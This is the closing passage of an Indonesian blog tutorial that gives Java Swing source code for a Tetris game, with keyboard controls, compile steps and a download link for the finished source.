                                            b[centralx+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y].setBackground(Color.DARK_GRAY);
                                b[centralx+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y].setBackground(Color.DARK_GRAY);
                                b[centralx+prof[pos[0]][3][rand-1].x][centraly+prof[pos[0]][3][rand-1].y].setBackground(Color.DARK_GRAY);
                                    centralx = centralx+deltax;
                                    b[centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y].setBackground(rnd[rand-1]);
                                b[centralx+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y].setBackground(rnd[rand-1]);
                                b[centralx+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y].setBackground(rnd[rand-1]);
                                b[centralx+prof[pos[0]][3][rand-1].x][centraly+prof[pos[0]][3][rand-1].y].setBackground(rnd[rand-1]);
                    }
                             
                     
       }
     
    public static void main (String[] args){
            new Tetris();
    }
     
    @Override
    public void keyPressed(KeyEvent e) {
            if (e.getKeyCode() == KeyEvent.VK_RIGHT){
                    deltax = 1;
                    movelr();
                    }
            if (e.getKeyCode() == KeyEvent.VK_LEFT){
                    deltax = -1;
                    movelr();
                    }
            if (e.getKeyCode() == KeyEvent.VK_UP){
                    rotate();
                    }
            if (e.getKeyCode() == KeyEvent.VK_DOWN){
                    movedown();
                    }
    }
     
     
    @Override
    public void keyReleased(KeyEvent e) {
            // TODO Auto-generated method stub
           
    }
     
     
    @Override
    public void keyTyped(KeyEvent e) {
            // TODO Auto-generated method stub
           
    }
    }


3. Save file yang sudah di bikin tadi dengan nama Tetris.java
4. Komfile file tersebut dengan CMD
5. SUKSES dehh gannn bikin games Mine menggunakan Java
Outputnya :

jangan lupa komentarnya ya gannn,,,
Salam sukses gannn

Link source code nya yang sudah jadi dan complite :  http://www.mediafire.com/?y3t828gmwuzt1d3